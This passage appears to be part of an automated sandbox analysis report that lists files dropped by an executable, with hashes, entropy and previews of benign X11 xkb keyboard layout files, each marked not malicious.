SSDEEP:	24:7OL0WNRDxsZ6t8mgnA4vUemV097x478TYmQb3kjmZqW1L3pbVJ9/EO6CSIaB4Rr3:7OobgZCCV5dEhIhuS
MD5:	A2EFB3A587CBD278A06FF5FC548394A1
SHA1:	A5FB4E68D934299E57DB2AB628814405BEE72AA3
SHA-256:	0250030CB2973F685B04A0F8B2CF6D5F7D179F9393C9440BEFF3E6E670C1ABE5
SHA-512:	7DE88C74376C4ACFF68C4CBBF055A71E9D16B23CAA085547F6560347A9853A426F7F05D9E8822B978705907B3AF86A0A1A7C47015FB4BD54CC300B4C42FE4C65
Malicious:	false
Preview:	xkb_symbols "jp106" {.. name[group1]="Japan/ASCII";.. key <HZTG> { [ Zenkaku_Hankaku .. ] };. key <AE01> { [ 1, exclam ] };. key <AE02> { [ 2, quotedbl ] };. key <AE03> { [ 3, numbersign ] };. key <AE04> { [ 4, dollar ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, ampersand ] };. key <AE07> { [ 7, apostrophe ] };. key <AE08> { [ 8, parenleft ] };. key <AE09> { [ 9, parenright ] };. key <AE10> { [ 0, asciitilde ] };. key <AE11> { [ minus, equal ] };. key <AE12> { [ asciicircum, overbar ] };. key <AE13> { [ yen, bar ] };.. // keys <TAB> and <AD01> - <AD10> are id

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\sl-c3x00

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	5.205246832045105
Encrypted:	false
SSDEEP:	48:FZMnM6rbpUnqV2/+0h8xmo0OvJp7FHESOeL86LfT:FwpUnA2/+oHOxp7FHEzA7
MD5:	9AF6DD279F82496D88A949C3D16D9334
SHA1:	D3EC96B17D01F9CEEB4C4C34A97A0373E25BA60A
SHA-256:	F098BBF6996BABBB2A3D61D74AEDFAB1D6574863ECAB9090EC7336FACE0B2F61
SHA-512:	0FBAB3C742222B2FDD80061EB08223277B93A74B4E07E00C6E2E4E2C3615B0591CEBAB9B55417F72BD4EBBCA7761C2C2F0D3FCEAE58B887BA27131EE66FA5AC3
Malicious:	false
Preview:	// $NetBSD: sl-c3x00,v 1.1 2009/12/13 04:54:51 nonaka Exp $.// $OpenBSD: zaurus,v 1.2 2008/03/05 17:24:55 matthieu Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp SL-C3x00";...key <AE01> { [ 1, exclam ] };..key <AE02> { [ 2, quotedbl ] };..key <AE03> { [ 3, numbersign ] };..key <AE04> { [ 4, dollar ] };..key <AE05> { [ 5, percent ] };..key <AE06> { [ 6, ampersand ] };..key <AE07> { [ 7, apostrophe ] };..key <AE08> { [ 8, parenleft ] };..key <AE09> { [ 9, parenright ] };..key <AE10> { [ 0, asciitilde ] };..key <BKSP> { type="CTRL+ALT",...symbols[Group1]= [ BackSpace, Terminate_Server ] };...key <AD01> { [ q, Q ] };..key <AD02> { [ w, W, asciicircum ] };..key <AD03> { [ e, E, equal ] };..key <AD04> { [ r, R, plus ] };..key <AD05> { [ t, T, bracketleft ] };..key <AD06> { [ y, Y, bracketright ] };..key <AD07> { [ u, U, braceleft ] };..key <AD08> { [ i, I, braceright ] };..key <AD09> { [ o, O ] };..key <AD10> { [ p, P ] };....key <TAB> { [ Tab, ISO_Left_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\ws003sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	5.098819126318392
Encrypted:	false
SSDEEP:	48:Fona6r2/OVHgE2N5BwMxQ1QJZESOPRfR76LfT:Ff/OJ2NrwboZEtPRa
MD5:	4C4CEF2FD50BE610C25E4CA66369FEA5
SHA1:	E828B1C106506D6E6D2F6F30B167081A212604AB
SHA-256:	E81D12A6A2F4EEBE7D2FC2CBC075E87E416C4F4C458D4E31BA22499CAF66DA62
SHA-512:	15006C88710344330DBB5F757ADF7159ABC2443F8D901F14231984C78B1797C4E8370C8C4ADD14CA096385CA48D9D7502F277B2E5A086E9A490AB7C38752F4FA
Malicious:	false
Preview:	// $NetBSD: ws003sh,v 1.1 2010/05/15 15:33:30 nonaka Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp WS003SH";...key <AE01> { [ 1, exclam ] };..key <AE02> { [ 2, quotedbl ] };..key <AE03> { [ 3, numbersign ] };..key <AE04> { [ 4, dollar ] };..key <AE05> { [ 5, percent ] };..key <AE06> { [ 6, ampersand ] };..key <AE07> { [ 7, apostrophe, grave ] };..key <AE08> { [ 8, parenleft, braceleft ] };..key <AE09> { [ 9, parenright, braceright ] };..key <AE10> { [ 0 ] };..key <AE11> { [ minus, equal, backslash ] };..key <BKSP> { [ BackSpace, BackSpace, Delete ] };...key <AD01> { [ q, Q ] };..key <AD02> { [ w, W, asciicircum ] };..key <AD03> { [ e, E, asciitilde ] };..key <AD04> { [ r, R, bar ] };..key <AD05> { [ t, T ] };..key <AD06> { [ y, Y ] };..key <AD07> { [ u, U, bracketleft ] };..key <AD08> { [ i, I, bracketright ] };..key <AD09> { [ o, O, underscore ] };..key <AD10> { [ p, P, at ] };....key <TAB> { [ Tab, Tab, Escape ] };...key <AC01> { [ a, A ] };..ke

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\ws007sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	5.099732119610092
Encrypted:	false
SSDEEP:	48:FN2nW6r2/OVHgE2N5BwMxQ1QJZESOPRfR76LfT:FNx/OJ2NrwboZEtPRa
MD5:	55EEFFB87228B43D0DEB4C8795F78EDE
SHA1:	16FC9C3CC2EA37DF267E60DFC6555E5F021B223D
SHA-256:	7FDEFBDFC0771510B571497324611749303B3D4AD16DE8A0B3A7BC6A773954DB
SHA-512:	ACABBF4DF62CE932E8DC1EE1F6D31534E844C60CD4A8CDE5505FFB5FACC1EAD0FAAEACD55E385893A9CCF169848B8BE64754D507DB06E4C131117081E4B5A261
Malicious:	false
Preview:	// $NetBSD: ws007sh,v 1.1 2010/05/15 15:33:30 nonaka Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp WS007SH";...key <AE01> { [ 1, exclam ] };..key <AE02> { [ 2, quotedbl ] };..key <AE03> { [ 3, numbersign ] };..key <AE04> { [ 4, dollar ] };..key <AE05> { [ 5, percent ] };..key <AE06> { [ 6, ampersand ] };..key <AE07> { [ 7, apostrophe, grave ] };..key <AE08> { [ 8, parenleft, braceleft ] };..key <AE09> { [ 9, parenright, braceright ] };..key <AE10> { [ 0 ] };..key <AE11> { [ minus, equal, backslash ] };..key <BKSP> { [ BackSpace, BackSpace, Delete ] };...key <AD01> { [ q, Q ] };..key <AD02> { [ w, W, asciicircum ] };..key <AD03> { [ e, E, asciitilde ] };..key <AD04> { [ r, R, bar ] };..key <AD05> { [ t, T ] };..key <AD06> { [ y, Y ] };..key <AD07> { [ u, U, bracketleft ] };..key <AD08> { [ i, I, bracketright ] };..key <AD09> { [ o, O, underscore ] };..key <AD10> { [ p, P, at ] };....key <TAB> { [ Tab, Tab, Escape ] };...key <AC01> { [ a, A ] };..ke

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\ws011sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2073
Entropy (8bit):	5.14831498681677
Encrypted:	false
SSDEEP:	48:Fv83nT4Mfc024BWFv2gEa99p4/QqFCESLlJHVfR76LfOyE/+rcs:Fv8kQsv2raLp7qFCEyzHV3/3s
MD5:	A1752B02448A86E5052F718786716F22
SHA1:	BF31071752F96834D99DA2642E8975347763E33F
SHA-256:	3DBFA2B7DB884D870FA7363DF2A8F5291EB9C17D318837DA2BE5FA22CD8ED671
SHA-512:	0F377F70945E5E7827C2DD2902F30CA0CAE2518742E14F64B7527961EC15F4D1BB726A714F8655A07FA144CAD037F86E5347E35F9B4AF0555D94E60E82F9771E
Malicious:	false
Preview:	// $NetBSD: ws011sh,v 1.2 2010/05/30 10:10:20 nonaka Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp WS011SH";...key <HZTG> {...type[Group1] = "THREE_LEVEL",...symbols[Group1] = [ Zenkaku_Hankaku, Zenkaku_Hankaku, exclam ]..};...key <AD01> { [ q, Q, quotedbl ] };..key <AD02> { [ w, W, numbersign ] };..key <AD03> { [ e, E, dollar ] };..key <AD04> { [ r, R, percent ] };..key <AD05> { [ t, T, ampersand ] };..key <AD06> { [ y, Y, 1 ] };..key <AD07> { [ u, U, 2 ] };..key <AD08> { [ i, I, 3 ] };..key <AD09> { [ o, O, underscore ] };..key <AD10> { [ p, P, at ] };..key <BKSP> { [ BackSpace, BackSpace, Delete ] };....key <TAB> { [ Tab, Tab, Escape ] };..key <AC01> { [ a, A, bracketleft ] };..key <AC02> { [ s, S, apostrophe ] };..key <AC03> { [ d, D, parenleft ] };..key <AC04> { [ f, F, parenright ] };..key <AC05> { [ g, G, asterisk ] };..key <AC06> { [ h, H, 4 ] };..key <AC07> { [ j, J, 5 ] };..key <AC08> { [ k, K, 6 ] };..key <AC09> { [ l, L, plus ] };..key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sharp_vndr\ws020sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1849
Entropy (8bit):	5.192717913165905
Encrypted:	false
SSDEEP:	48:Fin7GvMfcJlBolWFv2gEa99p4/QqFCESLlJHVfR76LfT:FtR8lsv2raLp7qFCEyzHVa
MD5:	787A373BB491200E20EF59C70AB75E57
SHA1:	82C6A3AACF8D4FEB5E0BB9060F86A171FB1A7488
SHA-256:	6A21F4CD5699AF6910D466BC9A7D37E3BFE15EC2639A3B884F418F5A404D4EB9
SHA-512:	B55FA34C8CA30123409D5DD5A8F8ED83E43F4BC559D5ED092DCB15F4E40D3A7D7852689E848BD18DA68FB72B8F911D9E558B9579F133D0665AB59EC3364D68E7
Malicious:	false
Preview:	// $NetBSD: ws020sh,v 1.1 2010/05/25 13:12:51 nonaka Exp $..partial default alphanumeric_keys.xkb_symbols "basic" {..name[Group1]= "Sharp WS020SH";...key <HZTG> {...type[Group1]="THREE_LEVEL",...symbols[Group1]= [ Zenkaku_Hankaku, Zenkaku_Hankaku, exclam ]..};...key <AD01> { [ q, Q, quotedbl ] };..key <AD02> { [ w, W, numbersign ] };..key <AD03> { [ e, E, dollar ] };..key <AD04> { [ r, R, percent ] };..key <AD05> { [ t, T, ampersand ] };..key <AD06> { [ y, Y, underscore ] };..key <AD07> { [ u, U, 1 ] };..key <AD08> { [ i, I, 2 ] };..key <AD09> { [ o, O, 3 ] };..key <AD10> { [ p, P, at ] };..key <BKSP> { [ BackSpace, BackSpace, Delete ] };....key <TAB> { [ Tab, Tab, Escape ] };..key <AC01> { [ a, A, bracketleft ] };..key <AC02> { [ s, S, apostrophe ] };..key <AC03> { [ d, D, parenleft ] };..key <AC04> { [ f, F, parenright ] };..key <AC05> { [ g, G, asterisk ] };..key <AC06> { [ h, H, 4 ] };..key <AC07> { [ j, J, 5 ] };..key <AC08> { [ k, K, 6 ] };..key <AC09> { [ l, L, plus ] };..key <A

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\shift

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.099853281140986
Encrypted:	false
SSDEEP:	48:BGJeH7JZeH7jfVyZfDydlujDgv/gZRlzDwuycw8ydEVRv:3HaH3dyZry6vDpycPyoJ
MD5:	F9C7D60D79A719132E2234122C3C016D
SHA1:	DD48C339D712E49E014C48DAA5CF9590D71B80A1
SHA-256:	3DFD90DE85A8998A710EF1578851FE00A92451C777D02FC87A307E4873B95DD8
SHA-512:	D66F65D5E5181DF75056DDBAE097B9CFAB3425F1D5444D290E24353FC0693A63947207CAB8504718C8304C05D113040E2BD89B8218E9F06AB1778FCBCD7596DE
Malicious:	false
Preview:	// Cancel CapsLock when a Shift key is pressed..partial modifier_keys.xkb_symbols "breaks_caps" {. key <LFSH> {..type = "ALPHABETIC",. .actions [Group1] = [.. SetMods(modifiers=Shift),.. SetMods(modifiers=Shift+Lock,clearLocks)..]. };. key <RTSH> {..type = "ALPHABETIC",..actions [Group1] = [.. SetMods(modifiers=Shift),.. SetMods(modifiers=Shift+Lock,clearLocks)..]. };.};...// Toggle CapsLock when pressed together with the other Shift key..partial modifier_keys.xkb_symbols "lshift_both_capslock" {. key <LFSH> {. type[Group1]="TWO_LEVEL",. symbols[Group1] = [ Shift_L, Caps_Lock ]. };.};.// Toggle CapsLock when pressed together with the other Shift key..partial modifier_keys.xkb_symbols "rshift_both_capslock" {. key <RTSH> {. type[Group1]="TWO_LEVEL",. symbols[Group1] = [ Shift_R, Caps_Lock ]. };.};.partial modifier_keys.xkb_symbols "both_capslock" {. include "shift(lshift_both_capslock)". include "shift(rshift_both_capslock)".};...// Set CapsL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\si

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	636
Entropy (8bit):	4.990201622947849
Encrypted:	false
SSDEEP:	12:aBz160dlu6adJyqXaWz16VMuF9QasJyqXaMz16BKfMuFhnaMz1PJyqXaK:aT60zYJyqXaE6avJyqXaa6BMM6BJyqX1
MD5:	99523ED7B8CEEF68B41A5AC7C86153C1
SHA1:	988D9A3B0D63463FCB45EEB8D36029001344AF52
SHA-256:	531A079AFDA686FB793CD417E56D342E85A11760F3CC4538A6CE0CBE5A242202
SHA-512:	6D82A070E8E8C4A9E22116F374BAF588ACEBA28E5CC4CE55B8DDFADAA34AB3DC0B58A8BC1E67D3F36AD20952364F671C10C1F301D98DBB1AF09EDCA1B704DB3F
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="Slovenian";.. include "rs(latin)".. key <TLDE> { type[Group1]="TWO_LEVEL", [ cedilla, diaeresis ] };.};..partial alphanumeric_keys .xkb_symbols "us" {.. name[Group1]= "Slovenian (US keyboard with Slovenian letters)";.. include "rs(latinyz)".. key <TLDE> { type[Group1]="TWO_LEVEL", [ cedilla, diaeresis ] };.};...partial alphanumeric_keys .xkb_symbols "alternatequotes" {.. name[Group1]= "Slovenian (use guillemets for quotes)";.. include "rs(latinalternatequotes)".. key <TLDE> { type[Group1]="TWO_LEVEL", [ cedilla, diaeresis ] };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5133
Entropy (8bit):	4.4013400262996205
Encrypted:	false
SSDEEP:	48:SW+3kqJOYnXaGsIyvgjobiI2jl0R+l85GyZttKt3cQZVVV3R:9qfnXSIrjobiI2JcDEMteVVV3R
MD5:	BC76D59D53E62F53A7F0EB565DB6A38D
SHA1:	4C9DBEFA0EEDDAB366EF046F5610F2A30E2AB070
SHA-256:	71E42FD159F98749062F2A43E41F7935CCA4A1AD9069147FC0CEF1940D01DF6E
SHA-512:	CACB130CF0585EB33E31B1E606CA3A0F644BBE40032EB0C426400493B5B4FE450001F2F39E4E40DF049344AAFE1886F01398DAA4AD956EF139E9FB4A3FDD2053
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {. . // This layout conforms to a new sk compromise standard designed . // to satisfy most unix, windows and mac users.. // 2001 by Kamil Toman <ktoman@email.cz>.. include "latin".. name[Group1] = "Slovak";.. key <TLDE>.{ [ semicolon, dead_abovering, grave, asciitilde ].};. key <AE01>.{ [ plus, 1, exclam, dead_tilde ].};. key <AE02>.{ [ lcaron, 2, at, dead_caron ].};. key <AE03>.{ [ scaron, 3, numbersign, dead_circumflex ] };. key <AE04>.{ [ ccaron, 4, dollar, dead_breve ].};. key <AE05>.{ [ tcaron, 5, percent, dead_abovering ] };. key <AE06>.{ [ zcaron, 6, asciicircum, dead_ogonek ].};. key <AE07>.{ [ yacute, 7, ampersand, dead_grave ].};. key <AE08>.{ [ aacute, 8, asterisk, dead_abovedot ] };. key <AE09>.{ [ iacute, 9,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2220
Entropy (8bit):	4.226994042601573
Encrypted:	false
SSDEEP:	24:aT605Q1NOanQ3KJ/i77kxnDoLI1kEX1pGO7l0Tov6y4bMS5yub1XhwdMf5rrQZQd:S5ori8DwOB0ECBASQucuxPWVnJVk
MD5:	566B403B0C61D0533694D913CC8FD586
SHA1:	5D09F8E44E48897B1184688231D791344A034FBF
SHA-256:	490AB996FD4F6F131E1809EA56A4E7703A8D9DE7F6FAB084D96E21CD67BE97BE
SHA-512:	CE576233844B794F6815578111CA420DE6F4396A2583840ED52F2FEC505A2E400B26A9CB1F21F0E469B471C3DD24459FC95EB17F445C3C1E61F22970F41FE367
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="Wolof";.. key <AE01>.{ [ ampersand, 1, bar, NoSymbol ].};. key <AE02>.{ [ eacute, 2, asciitilde, Eacute ].};. key <AE03>.{ [ quotedbl, 3, numbersign, cedilla ].};. key <AE04>.{ [apostrophe, 4, braceleft, acute ].};. key <AE05>.{ [ parenleft, 5, bracketleft, diaeresis ].};. key <AE06>.{ [ minus, 6, bar, brokenbar ].};. key <AE07>.{ [ egrave, 7, dead_grave, Egrave ].};. key <AE08>.{ [underscore, 8, backslash, macron ].};. key <AE09>.{ [ ccedilla, 9, asciicircum, Ccedilla ].};. key <AE10>.{ [ agrave, 0, at, Agrave ].};. key <AE11>.{ [parenright, degree, bracketright, ydiaeresis ].};. key <AE12>.{ [ equal, plus, braceright,threequarters ].};.. k

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sony_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2892
Entropy (8bit):	5.227732056767849
Encrypted:	false
SSDEEP:	48:aritctUOUqYQHEssz4INW3Z2rmUaOYCFYdwuphGWFuG1GNwthn/oIB2:zCzUqYQHKQgrTLQJhG+fGNkhZ2
MD5:	7DC5446BBFD4ED3574723F341451D25A
SHA1:	80605254484BC211AB80A6748D67D62F2847D8AA
SHA-256:	75AF4776410D500BB5429691F71A2357CFFAE95B4608BE087743653E08EF83B0
SHA-512:	7F59EF8D9ED68BDD948E0ED66EB8FAAFE82D1D1D15BF06A4B775014532B968A3112B943E2433457342729D1B23394C87893A6B669A4B0D00B6F982D4D76369BB
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\srvr_ctrl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	5.228463998604548
Encrypted:	false
SSDEEP:	24:IFfZH/AZnqmJe37GGJAV+DTmZ+mqshd+n2I6Rmb6ymoA2SodfZ11C1Nd8d1yf1xB:uftASGGJrEfumoAwdtClxf80aZY
MD5:	BAD48AE0CBE76B9DF266DFC126CAB4F6
SHA1:	E81F3A6F6BA9B2434726DF0A698B4C24C2A9AF96
SHA-256:	FDE58F8E665C7FC0913BE50C4436DA51D5D59439F90A8799EEC0A75D03DEC5C7
SHA-512:	9FD1F8115849CF253C8B19E7210098187792C5506AB528CB262002BC49AB1DD5421D9F7B9E400CDEFC9805D9A04B54EC2536F8CC49BE35B816EC12BA1418C9C0
Malicious:	false
Preview:	// Actions which control the server's behavior..partial keypad_keys function_keys.xkb_symbols "xfree86" {. include "keypad(operators)". include "srvr_ctrl(fkey2vt)".};..partial function_keys .xkb_symbols "fkey2vt" {.. key <FK01> {..type="CTRL+ALT",..symbols[Group1]= [ F1, F1, F1, F1, XF86_Switch_VT_1 ]. };.. key <FK02> {..type="CTRL+ALT",..symbols[Group1]= [ F2, F2, F2, F2, XF86_Switch_VT_2 ]. };.. key <FK03> {..type="CTRL+ALT",..symbols[Group1]= [ F3, F3, F3, F3, XF86_Switch_VT_3 ]. };.. key <FK04> {..type="CTRL+ALT",..symbols[Group1]= [ F4, F4, F4, F4, XF86_Switch_VT_4 ]. };.. key <FK05> {..type="CTRL+ALT",..symbols[Group1]= [ F5, F5, F5, F5, XF86_Switch_VT_5 ]. };.. key <FK06> {..type="CTRL+ALT",..symbols[Group1]= [ F6, F6, F6, F6, XF86_Switch_VT_6 ]. };.. key <FK07> {..type="CTRL+ALT",..symbols[Group1]= [ F7, F7, F7, F7, XF86_Switch_VT_7 ]. };.. key <FK08> {..type="CTRL+ALT",..symbols[Group1]= [ F8, F8, F8, F8, XF86_Switch_VT_8 ].

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ara

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6261
Entropy (8bit):	4.738891005203776
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNiBaGvGyYDLw3FH+I+EwVeVq:HtSQHV9cF51mrxcA0aL+VGt2q
MD5:	27E3CD97A48080CF5742770DCD92B08E
SHA1:	457CDAAA8D9303AEF810AB329A05B2283F8CE91B
SHA-256:	34A4537EE1F569FE3673FCAD9F645F541A06F702C2396A2ABE1D09C5EE475717
SHA-512:	01D0E2F74756D4553695B6E5BAA8F5B98CF5099FC8C878B96CF228D31FD8405E2C528E3E73ACD6E1827AF8ACA834FAC9F0E48F65AF0F3D98B18EFB766D5ADC49
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\be

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4871
Entropy (8bit):	4.658983333109741
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNacVoCInbA03mE:HtSQHV9cF51mrxccaCIbAax
MD5:	9A4D0D8FFB569ACD4218ECC9382C66BD
SHA1:	4D064CF7FCC734D6CCCC0CEEEF5B229CAFA52091
SHA-256:	D57CB377ABBB008F8BDFE35D38C4AF8025F38DA10A373B392012A475BCEC1D76
SHA-512:	FA4AAB8DDCCFFA1D4C2EE01A74F6A14067D87FF890CFD986D64ED3130FF8BAB27C29CB0BFF24FC2365654381B512A3AC0D127A5668849E0DE060B6E04FBE5D3D
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\br

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5334
Entropy (8bit):	4.574424825219508
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNaPpZ1TI0h/RM1ykz:HtSQHV9cF51mrxcr1TI0dRMYS
MD5:	1A61ABA29AD33F9E46CD99EB5629E53F
SHA1:	020CECBC5F938D8024B2916394FDE228489992AC
SHA-256:	9B5214DE357DAB245D994CC73262556EEA6B2C7919924286C49CE058C74B9365
SHA-512:	0FBA6E394D7D1C516C68BB49CDC386BCFCD171B797F7B7008F8A1243F083705A677DA2C963B0D7818D0E0271E7F77BDDD31632804A7D8A444C496B7E6096DC27
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ca

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5051
Entropy (8bit):	4.649000480549675
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNHNv/W9IE0LnxqcJUDr:HtSQHV9cF51mrxTv/W+E0LJJK
MD5:	05EA2E3AE10C09F0089D2A50726B39FF
SHA1:	36370CDB2B25EDCDC332C8F86AF089ECD1AE9F69
SHA-256:	4D2630A3D2FADF9335BB467BC926E3006F775ADD71A2AF8F8715D50E5753D7BD
SHA-512:	0B39020A96DED2D3282F3B542F86C64FD4D93DA2E1B68368E300D3D47A049B0106833440CB21FE9845BB7DBA0C6252B44CCB68D4BB0FCD85D49A6431F850052C
Malicious:	false
Preview:	//.// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.// Permission is hereby granted, free of charge, to any person obtaining a.// copy of this software and associated documentation files (the.// "Software"), to deal in the Software without restriction, including.// without limitation the rights to use, copy, modify, merge, publish,.// distribute, and/or sell copies of the Software, and to permit persons.// to whom the Software is furnished to do so, provided that the above.// copyright notice(s) and this permission notice appear in all copies of.// the Software and that both the above copyright notice(s) and this.// permission notice appear in supporting documentation..// .// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR.// HOL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sun_vndr\ch

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6627
Entropy (8bit):	4.560056298235493
Encrypted:	false
SSDEEP:	96:HtRPIa23fQHG49cF51eNrxNP4XuBxd+AiwfJuBxd+Amwd:HtSQHV9cF51mrxd4XuBH+AnfJuBX+Abd
MD5:	E1F853AFE490860D8E7BA7692050DB84
